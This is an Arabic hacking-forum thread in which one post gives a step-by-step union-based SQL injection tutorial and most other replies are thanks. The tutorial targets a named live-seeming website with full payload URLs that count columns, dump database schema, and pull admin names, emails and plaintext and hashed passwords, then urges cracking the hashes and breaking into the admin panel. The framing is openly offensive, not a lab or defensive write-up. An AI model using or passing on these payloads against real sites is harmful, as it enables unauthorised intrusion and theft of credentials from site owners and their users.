ترتيب الخطوات في حقن قواعد البيانات SQL Injection

[CODLegend]

رد: ترتيب الخطوات في حقن قواعد البيانات SQL Injection

شكرا أخي الكريم على الموضوع

 

[ahmad156]

رد: ترتيب الخطوات في حقن قواعد البيانات SQL Injection

شكرا

 

[electrone1993]

رد: ترتيب الخطوات في حقن قواعد البيانات SQL Injection

thanks; that was important for us

 

[D7OMI]

رد: ترتيب الخطوات في حقن قواعد البيانات SQL Injection

شكراً لك ي غالي ,

 

[Soli0022]

رد: ترتيب الخطوات في حقن قواعد البيانات SQL Injection

شكرا اخي الكريم

 

[ZiAD SAiD]

رد: ترتيب الخطوات في حقن قواعد البيانات SQL Injection

مجهود رائع

 

[onelove55]

رد: ترتيب الخطوات في حقن قواعد البيانات SQL Injection

thank you

 

[omar2]

رد: ترتيب الخطوات في حقن قواعد البيانات SQL Injection

:icon30:

عنا موقع مصاب




نستخدم الامر
order by
لمعرفه عدد الاعمده المصابه

نبلش من 1
ونزود لحتى يختفي معانا الخطأ

order by 1--
 
order by 5--
 
order by 10--
 
order by 15--

لاحظ اشاره الناقص في اخر الرابط -- يمكن استبدالها في بعض المواقع بالاشاره */
اي هكذا

order by 1/*

يا نورع العين نرجع لمكانا


order by 15--

لاحط هنا ظهر الخطأ
النتيجه تجاوزنا عدد الاعمده المحدد
الحل نبدأ بتقليل عدد الاعمده الى ان يعود الوضع الي ما كان عليه
order by 14
لاحظ الان الموقع تمام
ما فيه ايا خطأ
اذا عدد الاعمده تمام
نضيف الامر التالي
مع الاعمده

union select
ونضيف قبل الرقم علامه الناقص

يصير الرابط هيك

http://www.datavore.com/home?op=cat&cid=-29+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14--

انتبه للناقص

الان لنعرف اصدار القاعده
نكتب

version()

وهذه بعض الاوامر


database()
version()
user()

not end



الموضعوع لم ينتهي بعد


الان نضيف التالي للحقنه

concat(table_name,0x3a,column_name,0x3a,table_schema)

و

+from+information_schema.columns--

فتصبح

http://www.datavore.com/home?op=cat&cid=-29+union+select+1,2,3,4,5,concat(table_name,0x3a,column_name,0x3a,table_schema),7,8,9,10,11,12,13,14++from+information_schema.columns--

الان نضيف الامر التالي

where+column_name+LIKE+CHAR(37, 112, 97, 115, 37)

http://www.datavore.com/home?op=cat&cid=-29+union+select+1,2,3,4,5,concat(table_name,0x3a,column_name,0x3a,table_schema),7,8,9,10,11,12,13,14++from+information_schema.columns+where+column_name+LIKE+CHAR(37, 112, 97, 115, 37)--

طيب يا حص طلع لي نتائج كثيره هذا الموقع بدو شغلة كيف

طيب الخبره رح تعلمك شو تختار


الان عنا مفترق مثلث ماشاء الله

شوف اخي
اطلع ع النتائج زي الصاروخ
بتلقى الجداول المهمه هي
الادمن
اليوزر
والممبر
بس احنا بدنا نخترق الادمن
وهو المتوقع هدفنا يلا نصيده




زي ما انتو شايفين عنا خيارين
بتهيالي الاول هو الي مطلوب

خلينا نشتغل عليه



بلزمنا الان الموقع الرائع وهو

http://www.waraxe.us/sql-char-encoder.html

اوك يا غالي شو بدنا بهذا الموقع
تشفير اسم الجدول وعنا اسم الجدول هو

نوع التشفير هو

  MySql hex-encoded string

يصير الان بحث من اسم هدا الجدول وذلك من خلال الامر

where+table_name=



يعني هيك

where+table_name=0x53757276657941646d696e73

الاستغلال

http://www.datavore.com/home?op=cat&cid=-29+union+select+1,2,3,4,5,concat(table_name,0x3a,column_name,0x3a,table_schema),7,8,9,10,11,12,13,14++from+information_schema.columns+where+table_name=0x53757276657941646d696e73--

ما شاء الله طلع لنا خيارات كثيره

بهمني انا منها


الان خلينا نجمع الاستغلال


اسم الجدول


السجما
SURVEYS

اسم العمود هو باقي الاسماء بالوسط
ورح نجمعها كلها مع بعض بالامر

concat

وبتصير هيك

concat(name,0x3a,pass)

;admin_id;admin_fname;admin_lname;admin_md5_password;admin_password ;admin_email;admin_perm;

[CENTER]نجمعهم بالامر

بصيرو
 
[php]

concat(admin_id,0x3a,admin_fname,0x3a,admin_lname,0x3a,admin_md5_password,0x3a,admin_password ,0x3a,admin_email,ox3a,admin_perm)

نركبه بالحقنه

http://www.datavore.com/home?op=cat&cid=-29+union+select+1,2,3,4,5,concat(admin_id,0x3a,admin_fname,0x3a,admin_lname,0x3a,admin_md5_password,0x3a,admin_password ,0x3a,admin_email,0x3a,admin_perm),7,8,9,10,11,12,13,14+from+SURVEYS.SurveyAdmins--

بقى تشوف الباس مشفر فكه من موقع هاش كلر وشوف مسار لوحه التحكم واخترق







استفين ع التاخر هي الدرس بالفيديو .....


[/CENTER]

 

[alluhaiby]

رد: ترتيب الخطوات في حقن قواعد البيانات SQL Injection

جزاك الله خيرا

 

[mojaweb0]

رد: ترتيب الخطوات في حقن قواعد البيانات SQL Injection

لي المشاهدة

 

[محمد الرويس]

رد: ترتيب الخطوات في حقن قواعد البيانات SQL Injection

مششششكور

 

[شوية معرصين]

رد: ترتيب الخطوات في حقن قواعد البيانات SQL Injection

ممتاز

 

[kacem162004]

رد: ترتيب الخطوات في حقن قواعد البيانات SQL Injection

مشكوووووووووور أخي على الشرح

 

[Jaza]

رد: ترتيب الخطوات في حقن قواعد البيانات SQL Injection

فكيت ازممممة

 

[بانوراما الحازمي]

رد: ترتيب الخطوات في حقن قواعد البيانات SQL Injection

-


موضوع بطل ، تسلم يمينك اخوي

 

[rmieng]

رد: ترتيب الخطوات في حقن قواعد البيانات SQL Injection

مشكووووووور والله يعطيك العافية

 

[dr.naw]

رد: ترتيب الخطوات في حقن قواعد البيانات SQL Injection

مشكور

 

[BeginSpy]

رد: ترتيب الخطوات في حقن قواعد البيانات SQL Injection

في ح عنده معلومات عن لغة البرمجة لقواعد البيانات Nosql
​

 

[/*-+]

رد: ترتيب الخطوات في حقن قواعد البيانات SQL Injection

.

 

[ghost libya]

رد: ترتيب الخطوات في حقن قواعد البيانات SQL Injection

مشكور ع الشرح الوافي